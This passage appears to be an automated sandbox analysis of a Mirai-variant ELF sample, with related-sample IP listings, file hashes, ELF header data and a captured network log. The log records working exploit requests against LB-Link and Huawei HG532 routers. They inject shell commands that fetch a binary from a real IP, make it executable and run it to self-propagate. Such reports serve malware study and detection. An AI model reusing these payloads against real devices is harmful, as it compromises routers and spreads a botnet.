	Fiyat_teklifi_Istegi_230906_PER_1000_Adet_#U2026scanneed_00101.pdf.exe	Get hash	malicious	AgentTesla	Browse	109.106.250.131
	invoice.docx.exe	Get hash	malicious	DarkCloud	Browse	109.106.251.58
	K3qVJuEqJM.exe	Get hash	malicious	DarkCloud	Browse	109.106.251.58
	ohEX8k59I6.exe	Get hash	malicious	DarkCloud	Browse	109.106.251.58
	5M6UvShAK4.rtf	Get hash	malicious	FormBook	Browse	109.106.252.13
	1D2D3X6Woz.rtf	Get hash	malicious	FormBook	Browse	109.106.252.13
	Hesap_Hareketleri_10072023.exe	Get hash	malicious	FormBook, GuLoader	Browse	109.106.253.117
TelefonicadeArgentinaAR	huhu.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	186.131.140.160
	huhu.x86_64.elf	Get hash	malicious	Mirai, Okiru	Browse	200.51.231.128
	MGQwnoKsQp.elf	Get hash	malicious	Mirai	Browse	186.132.27.233
	tdeVVO19bS.elf	Get hash	malicious	Mirai	Browse	190.172.77.140
	ngbwBT18rP.elf	Get hash	malicious	Mirai	Browse	186.129.109.73
	llsyz2PkG5.elf	Get hash	malicious	Unknown	Browse	186.131.140.141
	H5OpSzd1Q6.elf	Get hash	malicious	Mirai	Browse	186.134.33.192
	lxmddGFMLf.elf	Get hash	malicious	Mirai	Browse	186.134.221.151
	arm7.elf	Get hash	malicious	Mirai	Browse	190.173.66.70
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	191.84.195.43

Process:	/tmp/mBDisulSAb.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.021928094887362
Encrypted:	false
SSDEEP:	3:TgahA4kHw5:TgaSA
MD5:	B83A84651B57F1301E40DCCA89C6672A
SHA1:	33B0CBF2C763887CBC133F0BC26A29E97F1A5A01
SHA-256:	ABE7FBBA692E1FB901C9FA23279ADB130C2924093DBA831555612681EFA1013D
SHA-512:	E0D8EC296C4EB514D634A8C59F2BACFBB6AF840E158F5AC1DAE52E71E4D3CA2B1BF4A87221BE886884A55A6BAFD42302A82074B40615854DD9713FDE10D60068
Malicious:	false
Reputation:	low
Preview:	/tmp/mBDisulSAb.elf.

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.237152867304474
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mBDisulSAb.elf
File size:	129'920 bytes
MD5:	d61792cd258426ce01a59b34ad935863
SHA1:	6e2aa48835f34e769861bb6bed1ac246073ed354
SHA256:	5b47244abfaa217e4abc1e87b1d159bafd119add5479b413a831b6ae14a24ca4
SHA512:	63c2e7a2c4d6d5cc2f0c3f3fc28cac2625b6f4e7e96f1f977c5e0168ccd97202e09e13bed610fef30e2ecabac89984ace5522fba1909902838f6fddecc35308a
SSDEEP:	1536:7abDDLIJyTA5pTJv/Tzd5UCyAM1LCaKzPFDS45QqP4jdWJA4nofO1UO9I:7EcJ5j558AM1L8zx5QqOdWy4noyUYI
TLSH:	76C36A72E8256F68D695D170B0B08F791B93998181576FBA29B7C3B08083CDEF6057F8
File Content Preview:	.ELF.....................@.4...........4. ...(...............@...@.\...\.....................B...B..I..d...........Q.td............................././"O.n........#.@........#.*@.y...o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	129480
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0x179a0	0x0	0x6	AX	32
.fini	PROGBITS	0x417a80	0x17a80	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x417aa4	0x17aa4	0x2db8	0x0	0x2	A	4
.ctors	PROGBITS	0x42b000	0x1b000	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x42b00c	0x1b00c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x42b020	0x1b020	0x4950	0x0	0x3	WA	32
.got	PROGBITS	0x42f970	0x1f970	0x14	0x4	0x3	WA	4
.bss	NOBITS	0x42f984	0x1f984	0x45e0	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1f984	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x1a85c	0x1a85c	6.9185	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1b000	0x42b000	0x42b000	0x4984	0x8f64	0.4479	0x6	RW	0x10000	.ctors .dtors .data .got .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:44:35.504266977 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:44:35.717277050 CET	313	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:44:41.706274986 CET	849	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 492 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 16, 2024 09:44:43.243240118 CET	849	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 492 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 16, 2024 09:44:45.067222118 CET	849	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 492 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 16, 2024 09:44:48.843204021 CET	849	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 492 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 16, 2024 09:44:56.267267942 CET	849	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 492 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 16, 2024 09:45:10.859136105 CET	849	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 492 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 16, 2024 09:45:39.787163019 CET	849	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 492 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 